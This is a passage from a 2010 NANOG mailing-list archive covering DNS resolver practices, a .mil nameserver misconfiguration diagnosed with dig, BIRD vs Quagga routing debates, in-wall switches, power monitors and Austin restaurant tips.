16, 2010 at 4:36 AM, Nathan Ward wrote: > On 17/02/2010, at 1:28 AM, Michael McGovern wrote: > >> Does anyone know if AT&T has public DNS resolvers? We are an AT&T customer and they informed us that we could not use their DNS servers unless we paid for it. ?That was several years ago and do not know if they have changed their stance on this. ?I?m already a paying customer and I have to pay to use their DNS resolvers? > > A few moments on Google finds: > - 68.94.156.1 > - 68.94.157.1 > > They seem to work. They also have 99.99.99.99 too. From Joel.Snyder at Opus1.COM Tue Feb 16 15:42:00 2010 From: Joel.Snyder at Opus1.COM (Joel Snyder) Date: Tue, 16 Feb 2010 14:42:00 -0700 Subject: In wall switches Message-ID: <4B7B1128.9030603@opus1.com> I love the 3COM NJ220s, but beware of buying them used: there is no way (at least none that I have found) to reset the password if you don't know it. Thus, if you buy them used and the password has been changed from the default, you're outta luck. I'd be pleased to hear from anyone on this list that I'm wrong, by the way... jms -- Joel M Snyder, 1404 East Lind Road, Tucson, AZ, 85719 Senior Partner, Opus One Phone: +1 520 324 0494 jms at Opus1.COM http://www.opus1.com/jms From rand at meridian-enviro.com Tue Feb 16 16:54:22 2010 From: rand at meridian-enviro.com (Douglas K. Rand) Date: Tue, 16 Feb 2010 16:54:22 -0600 Subject: SNMP power monitors Message-ID: <87mxz8eqqp.wl%rand@meridian-enviro.com> We are looking at some SNMP power monitors, and the WattNode devices from Continental Control Systems (http://www.ccontrolsys.com/products/wattnode_modbus.html) seem to fit the bill. (At least when mated to something like an iBoard2 from Control Solutions (http://www.csimn.com/CSI_pages/iboard2WN.html) I was wondering if anybody had different suggestions? The iBoard2 at $450 isn't awful, especially as it is supposed to be able to handle several of the WattNode sensors. The WattNode sensors at $350 each though add up quickly since you need one WattNode for each three phase circuit you are monitoring. Oh, and is there a reason to not get the split core transformers? They seem to be a bit less accurate, but having to replace a solid core transformer would be really intrusive. From khomyakov.andrey at gmail.com Tue Feb 16 17:35:11 2010 From: khomyakov.andrey at gmail.com (Andrey Khomyakov) Date: Tue, 16 Feb 2010 18:35:11 -0500 Subject: In wall switches In-Reply-To: <4B7B1128.9030603@opus1.com> References: <4B7B1128.9030603@opus1.com> Message-ID: <6fa15a3f1002161535h234f90a4g2125dc327a6e0f9c@mail.gmail.com> I talked to HP and as I expected those ProCurve APs with a 4 port switch are LWAPs which could be great if you got spare $ for a controller, but is not so great on a low budget. I just placed an order for 3 of the NJ2000 to start with. For $150 a pop will see how they work out. Btw, NJ220 (at least on buy.com - trusted vendor in networking gear :) ) are just $75 a pop. Just as much as those 4 port linksys nightmares. Thanks to all who pointed them out. Seems to be exactly what I was looking for. ---- Andrey Khomyakov [khomyakov.andrey at gmail.com] From frnkblk at iname.com Tue Feb 16 18:01:09 2010 From: frnkblk at iname.com (Frank Bulk - iName.com) Date: Tue, 16 Feb 2010 18:01:09 -0600 Subject: Recommendations for router with routed copper gig-e ports? In-Reply-To: <07e801caadb6$23b15dc0$6b141940$@org> References: <07e801caadb6$23b15dc0$6b141940$@org> Message-ID: Not sure if this meets your needs, but here's some ruggedized stuff: http://www.garrettcom.com/routers.htm Sure you need GigE? Frank -----Original Message----- From: Lorell Hathcock [mailto:lorell at hathcock.org] Sent: Sunday, February 14, 2010 2:42 PM To: 'North American Network Operators Group' Subject: Recommendations for router with routed copper gig-e ports? All: I'm involved in a project where we are cutting over a WISP from being a single broadcast domain into the grownup real world of routing between tower nodes. Of course the equipment is all Mikrotik and the single broadcast domain was easy to implement, so that's why it was done this way. My problem on the redesign is I want to provide routed, copper gig-e ports at a reasonable price per port. My thought is to provide one copper gig-e port for all of the APs at a tower and a copper gig-e port for each backhaul to other towers (typically 2 to 4). On the core nodes, I want to have one fiber gig-e port for the internet connection. BGP would be implemented on the routers that connect to the internet. OSPF would be implemented on all of the backhaul ports. So number of routed, copper gig-e ports at each tower would be: 1 - AP network (need suggestion for cost effective gig-e switch) 2 to 4 - back haul ports 1 - internet port (on one out of every 4 towers or so) (and most likely fiber instead of copper) Does anyone have any suggestions? Sincerely, Lorell Hathcock OfficeConnect.net | 832-665-3400 x101 (o) | 713-992-2343 (f) | lorell at officeconnect.net Texas State Security Contractor License | ONSSI Certified Channel Partner Axis Communications Channel Partner | BICSI Corporate Member Leviton Authorized Installer From randy at psg.com Tue Feb 16 19:19:05 2010 From: randy at psg.com (Randy Bush) Date: Wed, 17 Feb 2010 10:19:05 +0900 Subject: BIRD vs Quagga In-Reply-To: <4B7B0D9A.3010401@foobar.org> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> <4B7B0D9A.3010401@foobar.org> Message-ID: > medium-long term, community based route-server filtering has no future. > There will be two reasons for its demise: it cannot easily accommodate > asn32 and it does not allow predetermined filtering and hence sane > loc-rib instance management. i would add decades of bad anecdotes where the data plane is not congruent with the control plane. in general, when plane N is not congruent with plane N+1, management and debugging are problematic. randy From randy at psg.com Tue Feb 16 20:12:46 2010 From: randy at psg.com (Randy Bush) Date: Wed, 17 Feb 2010 11:12:46 +0900 Subject: austin eats In-Reply-To: <4B7B4F0C.7080604@psg.com> Message-ID: is there a nanog austin eats page somewhere? i lost my old link to some wiki we used to use. and, a completely unverified recco from an austin friend (who thinks chicken fried steak is the meat nearest heaven). > I spoke to my colleague who has lived in Austin more recently than I > have. > > He recommends North By Northwest highly, in the Arboretum area. > > http://www.nxnwbrew.com/ > > When I was a Texan in exile, I would always, on returning, worship at > the shrine of Chicken Fried Steak. Threadgill's is a timeless classic > that specializes in it. Ken Threadgill was an Austin legend, who gave > Janis Joplin one of her first paying gigs. Bonus: Manager Eddie Wilson > was the Ranch Boss at the Armadillo World Headquarters, and has a shrine > of posters and pictures from the font of Austin weirdness. > > http://www.threadgills.com/ > > He also recommends Urbanspoon as an online info source. > > http://www.urbanspoon.com/c/11/Austin-restaurants.html > > Welcome, y'all. From tony at lava.net Tue Feb 16 20:55:29 2010 From: tony at lava.net (Antonio Querubin) Date: Tue, 16 Feb 2010 16:55:29 -1000 (HST) Subject: .mil nameserver problems? Message-ID: Anyone else noticing an increase in .mil nameserver problems today? Our resolvers aren't able to find NS info for various .mil domains such as pacom.mil and usfj.mil. % dig +trace pacom.mil ; <<>> DiG 9.5.0-P1 <<>> +trace pacom.mil ;; global options: printcmd . 491372 IN NS E.ROOT-SERVERS.NET. . 491372 IN NS F.ROOT-SERVERS.NET. . 491372 IN NS G.ROOT-SERVERS.NET. . 491372 IN NS H.ROOT-SERVERS.NET. . 491372 IN NS I.ROOT-SERVERS.NET. . 491372 IN NS J.ROOT-SERVERS.NET. . 491372 IN NS K.ROOT-SERVERS.NET. . 491372 IN NS L.ROOT-SERVERS.NET. . 491372 IN NS M.ROOT-SERVERS.NET. . 491372 IN NS A.ROOT-SERVERS.NET. . 491372 IN NS B.ROOT-SERVERS.NET. . 491372 IN NS C.ROOT-SERVERS.NET. . 491372 IN NS D.ROOT-SERVERS.NET. ;; Received 500 bytes from 64.65.64.1#53(64.65.64.1) in 4 ms mil. 172800 IN NS con1.nipr.mil. mil. 172800 IN NS con2.nipr.mil. mil. 172800 IN NS eur1.nipr.mil. mil. 172800 IN NS eur2.nipr.mil. mil. 172800 IN NS pac1.nipr.mil. mil. 172800 IN NS pac2.nipr.mil. ;; Received 245 bytes from 199.7.83.42#53(L.ROOT-SERVERS.NET) in 198 ms pacom.mil. 86400 IN NS DNS2.pacom.mil. pacom.mil. 86400 IN NS DNS1.pacom.mil. pacom.mil. 86400 IN NS NS01.USFJ.mil. ;; Received 137 bytes from 199.252.154.234#53(eur1.nipr.mil) in 234 ms dig: couldn't get address for 'NS01.USFJ.mil': not found Antonio Querubin 808-545-5282 x3003 e-mail/xmpp: tony at lava.net From david at ulevitch.com Tue Feb 16 21:15:53 2010 From: david at ulevitch.com (David Ulevitch) Date: Tue, 16 Feb 2010 19:15:53 -0800 Subject: .mil nameserver problems? In-Reply-To: References: Message-ID: <589775371002161915h513bd247wcc4776856ed4487a@mail.gmail.com> On Tue, Feb 16, 2010 at 6:55 PM, Antonio Querubin wrote: > Anyone else noticing an increase in .mil nameserver problems today? Our > resolvers aren't able to find NS info for various .mil domains such as > pacom.mil and usfj.mil. > > % dig +trace pacom.mil > Actually, a number of the .mil zones are exceptionally broken, and pacom.mil is no exception. :-) The .mil TLD servers seem to have loaded the entire zones and are serving borked zones as a result. For example, ask the TLD about www.pacom.mil: $ dig @PAC1.NIPR.mil. www.pacom.mil ; <<>> DiG 9.4.3-P3 <<>> @PAC1.NIPR.mil. www.pacom.mil ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35118 ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;www.pacom.mil. IN A ;; ANSWER SECTION: www.pacom.mil. 1722 IN CNAME www.pacom.mil.edgesuite.net. www.pacom.mil.edgesuite.net. 401 IN CNAME a1112.g.akamai.net. a1112.g.akamai.net. 20 IN A 209.107.205.160 a1112.g.akamai.net. 20 IN A 209.107.205.88 ;; Query time: 234 msec ;; SERVER: 199.252.180.234#53(199.252.180.234) ;; WHEN: Tue Feb 16 19:14:13 2010 ;; MSG SIZE rcvd: 133 And if you ask for an NS record for pacom.mil, it'll give you that, but without an additional section despite having the answers, because it thinks it is the authoritative for that zone (I'm guessing that explains the behavior but don't know their software). -David From frnkblk at iname.com Tue Feb 16 21:24:46 2010 From: frnkblk at iname.com (Frank Bulk) Date: Tue, 16 Feb 2010 21:24:46 -0600 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> Message-ID: We do. It's at our upstream provider, just in case we had an upstream connectivity issue or some internal meltdown that prevented those in the outside world to hit our (authoritative) DNS servers. Of course, that's most helpful for DNS records that resolve to IPs *outside* our network. Frank === For what it's worth, I have never heard of an ISP, big or small, deciding to place resolvers used by their customers in someone else's network. Perhaps I just need to get out more. Joe From patrick at ianai.net Tue Feb 16 21:33:27 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Tue, 16 Feb 2010 22:33:27 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> Message-ID: On Feb 16, 2010, at 10:24 PM, Frank Bulk wrote: > We do. It's at our upstream provider, just in case we had an upstream > connectivity issue or some internal meltdown that prevented those in the > outside world to hit our (authoritative) DNS servers. Of course, that's > most helpful for DNS records that resolve to IPs *outside* our network. What you describe - authorities used by people off your network to resolve A records with IP addresses outside your network - is not what Joe was describing. What the recursive name server your end users queried to resolve names, the IP address in their desktop's control panel, outside your network? I can see a small ISP using its upstream's recursive name server. But to the rest of the world, most small ISPs look like a part of their upstream's network. -- TTFN, patrick > === > > > For what it's worth, I have never heard of an ISP, big or small, > deciding to place resolvers used by their customers in someone else's > network. Perhaps I just need to get out more. > > Joe > > > From williamsjj at digitar.com Tue Feb 16 21:39:06 2010 From: williamsjj at digitar.com (Jason J. W. Williams) Date: Tue, 16 Feb 2010 20:39:06 -0700 Subject: austin eats In-Reply-To: References: Message-ID: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> For BBQ, Rudy's is hard to beat: http://www.rudys.com/ -J -------- Jason J. W. Williams, COO/CTO DigiTar williamsjj at digitar.com V: 208.343.8520 F: 208.322.8522 M: 208.863.0727 www.digitar.com On Feb 16, 2010, at 7:12 PM, Randy Bush wrote: > > is there a nanog austin eats page somewhere? i lost my old link to some > wiki we used to use. > > and, a completely unverified recco from an austin friend (who thinks > chicken fried steak is the meat nearest heaven). > >> I spoke to my colleague who has lived in Austin more recently than I >> have. >> >> He recommends North By Northwest highly, in the Arboretum area. >> >> http://www.nxnwbrew.com/ >> >> When I was a Texan in exile, I would always, on returning, worship at >> the shrine of Chicken Fried Steak. Threadgill's is a timeless classic >> that specializes in it. Ken Threadgill was an Austin legend, who gave >> Janis Joplin one of her first paying gigs. Bonus: Manager Eddie Wilson >> was the Ranch Boss at the Armadillo World Headquarters, and has a shrine >> of posters and pictures from the font of Austin weirdness. >> >> http://www.threadgills.com/ >> >> He also recommends Urbanspoon as an online info source. >> >> http://www.urbanspoon.com/c/11/Austin-restaurants.html >> >> Welcome, y'all. > > !SIG:4b7b50f9162721632411545! > From marka at isc.org Tue Feb 16 21:40:03 2010 From: marka at isc.org (Mark Andrews) Date: Wed, 17 Feb 2010 14:40:03 +1100 Subject: .mil nameserver problems? In-Reply-To: Your message of "Tue, 16 Feb 2010 19:15:53 -0800." <589775371002161915h513bd247wcc4776856ed4487a@mail.gmail.com> References: <589775371002161915h513bd247wcc4776856ed4487a@mail.gmail.com> Message-ID: <201002170340.o1H3e3j5065278@drugs.dv.isc.org> In message <589775371002161915h513bd247wcc4776856ed4487a at mail.gmail.com>, David Ulevitch writes: > On Tue, Feb 16, 2010 at 6:55 PM, Antonio Querubin wrote: > > Anyone else noticing an increase in .mil nameserver problems today? Our > > resolvers aren't able to find NS info for various .mil domains such as > > pacom.mil and usfj.mil. > > > > % dig +trace pacom.mil > > > > Actually, a number of the .mil zones are exceptionally broken, and > pacom.mil is no exception. :-) > > The .mil TLD servers seem to have loaded the entire zones and are > serving borked zones as a result. For example, ask the TLD about > www.pacom.mil: No. Just a failure to seperate authoritative and recursive functionality. You can workout how many servers there are by looking at the TTL decays. > $ dig @PAC1.NIPR.mil. www.pacom.mil > > ; <<>> DiG 9.4.3-P3 <<>> @PAC1.NIPR.mil. www.pacom.mil > ; (1 server found) > ;; global options: printcmd > ;; Got answer: > ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35118 > ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0 > > ;; QUESTION SECTION: > ;www.pacom.mil. IN A > > ;; ANSWER SECTION: > www.pacom.mil. 1722 IN CNAME www.pacom.mil.edgesuite > .net. > www.pacom.mil.edgesuite.net. 401 IN CNAME a1112.g.akamai.net. > a1112.g.akamai.net. 20 IN A 209.107.205.160 > a1112.g.akamai.net. 20 IN A 209.107.205.88 > > ;; Query time: 234 msec > ;; SERVER: 199.252.180.234#53(199.252.180.234) > ;; WHEN: Tue Feb 16 19:14:13 2010 > ;; MSG SIZE rcvd: 133 > > And if you ask for an NS record for pacom.mil, it'll give you that, > but without an additional section despite having the answers, because > it thinks it is the authoritative for that zone (I'm guessing that > explains the behavior but don't know their software). > > -David > -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From kris.foster at gmail.com Tue Feb 16 21:44:48 2010 From: kris.foster at gmail.com (kris foster) Date: Tue, 16 Feb 2010 19:44:48 -0800 Subject: austin eats In-Reply-To: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> Message-ID: <562B82AB-21AB-4006-853C-7B17762C5AA2@gmail.com> Moved this thread over to its proper home at attendee at nanog.org Please carry on there, thanks! -- kris On Feb 16, 2010, at 7:39 PM, Jason J. W. Williams wrote: > For BBQ, Rudy's is hard to beat: > > http://www.rudys.com/ > > -J > -------- > Jason J. W. Williams, COO/CTO > DigiTar > williamsjj at digitar.com > > V: 208.343.8520 > F: 208.322.8522 > M: 208.863.0727 > > www.digitar.com > > On Feb 16, 2010, at 7:12 PM, Randy Bush wrote: > >> >> is there a nanog austin eats page somewhere? i lost my old link to some >> wiki we used to use. >> >> and, a completely unverified recco from an austin friend (who thinks >> chicken fried steak is the meat nearest heaven). >> >>> I spoke to my colleague who has lived in Austin more recently than I >>> have. >>> >>> He recommends North By Northwest highly, in the Arboretum area. >>> >>> http://www.nxnwbrew.com/ >>> >>> When I was a Texan in exile, I would always, on returning, worship at >>> the shrine of Chicken Fried Steak. Threadgill's is a timeless classic >>> that specializes in it. Ken Threadgill was an Austin legend, who gave >>> Janis Joplin one of her first paying gigs. Bonus: Manager Eddie Wilson >>> was the Ranch Boss at the Armadillo World Headquarters, and has a shrine >>> of posters and pictures from the font of Austin weirdness. >>> >>> http://www.threadgills.com/ >>> >>> He also recommends Urbanspoon as an online info source. >>> >>> http://www.urbanspoon.com/c/11/Austin-restaurants.html >>> >>> Welcome, y'all. >> >> !SIG:4b7b50f9162721632411545! >> > From tomb at byrneit.net Tue Feb 16 21:53:03 2010 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Tue, 16 Feb 2010 19:53:03 -0800 Subject: BIRD vs Quagga In-Reply-To: References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org><2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com><9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com><4B75DB7D.9070308@ibctech.ca><5CC5BD71-7131-4703-9164-564017FD3616@daork.net><4B772F9D.3010003@nipper.de><5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk><4B7B0D9A.3010401@foobar.org> Message-ID: <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> As in SS7, which has successfully managed the phone system for decades, where the control and data plane are explicitly separated? There's significant theoretical work, backed up with lots of practical experience connecting a lot more nodes in real time in a lot more places than the Internet currently does, that posits that the control and forwarding plane should actually ALWAYS be separate, and control higher priority, so that state management converges faster than the dataflows. I'd like to see the countervailing, peer reviewed, references. > -----Original Message----- > From: Randy Bush [mailto:randy at psg.com] > Sent: Tuesday, February 16, 2010 5:19 PM > To: Nick Hilliard > Cc: NANOG list > Subject: Re: BIRD vs Quagga > > > medium-long term, community based route-server filtering has no > future. > > There will be two reasons for its demise: it cannot easily > accommodate > > asn32 and it does not allow predetermined filtering and hence sane > > loc-rib instance management. > > i would add decades of bad anecdotes where the data plane is not > congruent with the control plane. in general, when plane N is not > congruent with plane N+1, management and debugging are problematic. > > randy From randy at psg.com Tue Feb 16 21:55:49 2010 From: randy at psg.com (Randy Bush) Date: Wed, 17 Feb 2010 12:55:49 +0900 Subject: BIRD vs Quagga In-Reply-To: <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> <4B7B0D9A.3010401@foobar.org> <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> Message-ID: > As in SS7, which has successfully managed the phone system for > decades, where the control and data plane are explicitly separated? and has such wonderful margins and, btw, separation is not necessarily non-congruence From oberman at es.net Tue Feb 16 22:02:43 2010 From: oberman at es.net (Kevin Oberman) Date: Tue, 16 Feb 2010 20:02:43 -0800 Subject: austin eats In-Reply-To: Your message of "Wed, 17 Feb 2010 11:12:46 +0900." Message-ID: <20100217040243.720371CC0E@ptavv.es.net> > Date: Wed, 17 Feb 2010 11:12:46 +0900 > From: Randy Bush > > is there a nanog austin eats page somewhere? i lost my old link to some > wiki we used to use. > > and, a completely unverified recco from an austin friend (who thinks > chicken fried steak is the meat nearest heaven). http://www.nanog.org/meetings/nanog48/restaurants.php It's mostly the obvious places. Oddly, Fogo de Chao, a churrascaria that opened a year ago is missing from the list as is my personal favorite, the Texas Chili Parlor which is right next to the state capitol at 1409 Lavaca. They have several types of chili, but the specialty is the Texas Chili with steak and no beans. Real chili. The medium will warm you well and the hot is...oh, my! (They have a release form for those who want to try it.) Of course, you are only a couple of blocks from 6th Street, home to all wonderful food and live music, mostly blues, jazz and rock. Little or no country last year when I was there. If you have a care, the legendary Salt Lick Bar-B-Que is a few miles out of town. Lots of good food, but most would not make my cardiologist happy. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From tomb at byrneit.net Tue Feb 16 22:15:41 2010 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Tue, 16 Feb 2010 20:15:41 -0800 Subject: BIRD vs Quagga In-Reply-To: References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org><2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com><9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com><4B75DB7D.9070308@ibctech.ca><5CC5BD71-7131-4703-9164-564017FD3616@daork.net><4B772F9D.3010003@nipper.de><5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk><4B7B0D9A.3010401@foobar.org><72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> Message-ID: <72F9A69DCF990443B2CEC064E605CE062777@Pascal.zaphodb.org> Good point regarding non-congruence not necessarily meaning non-separation, and touch? on margins (by which I presume you mean SS7 has massive overprovisionining for average traffic). However, the fact remains, it has proven itself to work for a lot longer, and a for much larger subscriber base, with far fewer systemic failures (especially on a per subscriber/expected availability basis), than the current Internet. I notice you didn't answer my request for the peer reviewed literature to support your assertion. To support mine I give (there are hundreds in the literature): Gopel (Nokia): HSN and Multimedia Apps, 5th Conf, IEEE, 2002: Print ISBN: 0-7803-7600-5 PP 161-166 Ramjee et al (Lucent Bell Labs): Comsware 2006: Print ISBN: 0-7803-9575-1 PP 1-10 Khalios et al (City College of NY): IEEE Globecom 2003: Print ISBN: 0-7803-7974-8 PP 3984-3989 Never mind all of Shannon's work and everything bell labs did in developing digital switching. You can always have control traffic follow the same path in a different channel, so you get the same effect of physical interruption, and therefore the topography alerting of an interrupted link, without the issues of pathological traffic in the bearer channel interrupting your control traffic (as with ISDN subscriber trunks). > -----Original Message----- > From: Randy Bush [mailto:randy at psg.com] > Sent: Tuesday, February 16, 2010 7:56 PM > To: Tomas L. Byrnes > Cc: Nick Hilliard; NANOG list > Subject: Re: BIRD vs Quagga > > > As in SS7, which has successfully managed the phone system for > > decades, where the control and data plane are explicitly separated? > > and has such wonderful margins > > and, btw, separation is not necessarily non-congruence From tomb at byrneit.net Tue Feb 16 22:26:30 2010 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Tue, 16 Feb 2010 20:26:30 -0800 Subject: History of 4.2.2.2. What's the story? In-Reply-To: References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org><6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> Message-ID: <72F9A69DCF990443B2CEC064E605CE062778@Pascal.zaphodb.org> We actively sought reciprocal secondaries, and offered and received reciprocal query hosts, from other regional ISPs when I was CTO @ ADN. We saw it as "strengthening the regional Internet". So our users used CTSnet as their tertiary NS, and CTSNet used ours, FE. Of course, not CTS/CARI and ADN are all AIS, so the point is moot. > -----Original Message----- > From: Frank Bulk [mailto:frnkblk at iname.com] > Sent: Tuesday, February 16, 2010 7:25 PM > To: 'Joe Abley' > Cc: nanog at nanog.org > Subject: RE: History of 4.2.2.2. What's the story? > > We do. It's at our upstream provider, just in case we had an upstream > connectivity issue or some internal meltdown that prevented those in > the > outside world to hit our (authoritative) DNS servers. Of course, > that's > most helpful for DNS records that resolve to IPs *outside* our network. > > Frank > > === > > > For what it's worth, I have never heard of an ISP, big or small, > deciding to place resolvers used by their customers in someone else's > network. Perhaps I just need to get out more. > > Joe > > From morrowc.lists at gmail.com Tue Feb 16 22:26:33 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Tue, 16 Feb 2010 23:26:33 -0500 Subject: BIRD vs Quagga In-Reply-To: References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> <4B7B0D9A.3010401@foobar.org> <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> Message-ID: <75cb24521002162026x35c21560s2fe73fbdcd1b8cc0@mail.gmail.com> On Tue, Feb 16, 2010 at 10:55 PM, Randy Bush wrote: >> As in SS7, which has successfully managed the phone system for >> decades, where the control and data plane are explicitly separated? > > and has such wonderful margins > > and, btw, separation is not necessarily non-congruence decisions per second rate path information per 'call' or 'decision' ...these aren't like examples... (apples to oranges discussion, move along, nothing to see here) From bmanning at vacation.karoshi.com Tue Feb 16 22:29:59 2010 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Wed, 17 Feb 2010 04:29:59 +0000 Subject: austin eats In-Reply-To: <20100217040243.720371CC0E@ptavv.es.net> References: <20100217040243.720371CC0E@ptavv.es.net> Message-ID: <20100217042959.GA19442@vacation.karoshi.com.> > > If you have a care, the legendary Salt Lick Bar-B-Que is a few miles out > of town. Lots of good food, but most would not make my cardiologist > happy. ah.. ribs... > -- > R. Kevin Oberman, Network Engineer > Energy Sciences Network (ESnet) > Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) > E-mail: oberman at es.net Phone: +1 510 486-8634 > Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From frnkblk at iname.com Tue Feb 16 22:32:52 2010 From: frnkblk at iname.com (Frank Bulk) Date: Tue, 16 Feb 2010 22:32:52 -0600 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <72F9A69DCF990443B2CEC064E605CE062778@Pascal.zaphodb.org> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org><6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> <72F9A69DCF990443B2CEC064E605CE062778@Pascal.zaphodb.org> Message-ID: Our upstream ISP also has such a reciprocal secondary, too. Frank -----Original Message----- From: Tomas L. Byrnes [mailto:tomb at byrneit.net] Sent: Tuesday, February 16, 2010 10:26 PM To: frnkblk at iname.com; Joe Abley Cc: nanog at nanog.org Subject: RE: History of 4.2.2.2. What's the story? We actively sought reciprocal secondaries, and offered and received reciprocal query hosts, from other regional ISPs when I was CTO @ ADN. We saw it as "strengthening the regional Internet". So our users used CTSnet as their tertiary NS, and CTSNet used ours, FE. Of course, not CTS/CARI and ADN are all AIS, so the point is moot. > -----Original Message----- > From: Frank Bulk [mailto:frnkblk at iname.com] > Sent: Tuesday, February 16, 2010 7:25 PM > To: 'Joe Abley' > Cc: nanog at nanog.org > Subject: RE: History of 4.2.2.2. What's the story? > > We do. It's at our upstream provider, just in case we had an upstream > connectivity issue or some internal meltdown that prevented those in > the > outside world to hit our (authoritative) DNS servers. Of course, > that's > most helpful for DNS records that resolve to IPs *outside* our network. > > Frank > > === > > > For what it's worth, I have never heard of an ISP, big or small, > deciding to place resolvers used by their customers in someone else's > network. Perhaps I just need to get out more. > > Joe > > From frnkblk at iname.com Tue Feb 16 22:35:51 2010 From: frnkblk at iname.com (Frank Bulk) Date: Tue, 16 Feb 2010 22:35:51 -0600 Subject: History of 4.2.2.2. What's the story? In-Reply-To: References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> Message-ID: Our nameservers handle both the authoritative and recursive traffic, but we use ACLs to restrict recursive queries to just our users. If I understand your second sentence correctly, then yes, our DHCP server hands out the DNS servers, of which one of the three is outside our own network. Frank -----Original Message----- From: Patrick W. Gilmore [mailto:patrick at ianai.net] Sent: Tuesday, February 16, 2010 9:33 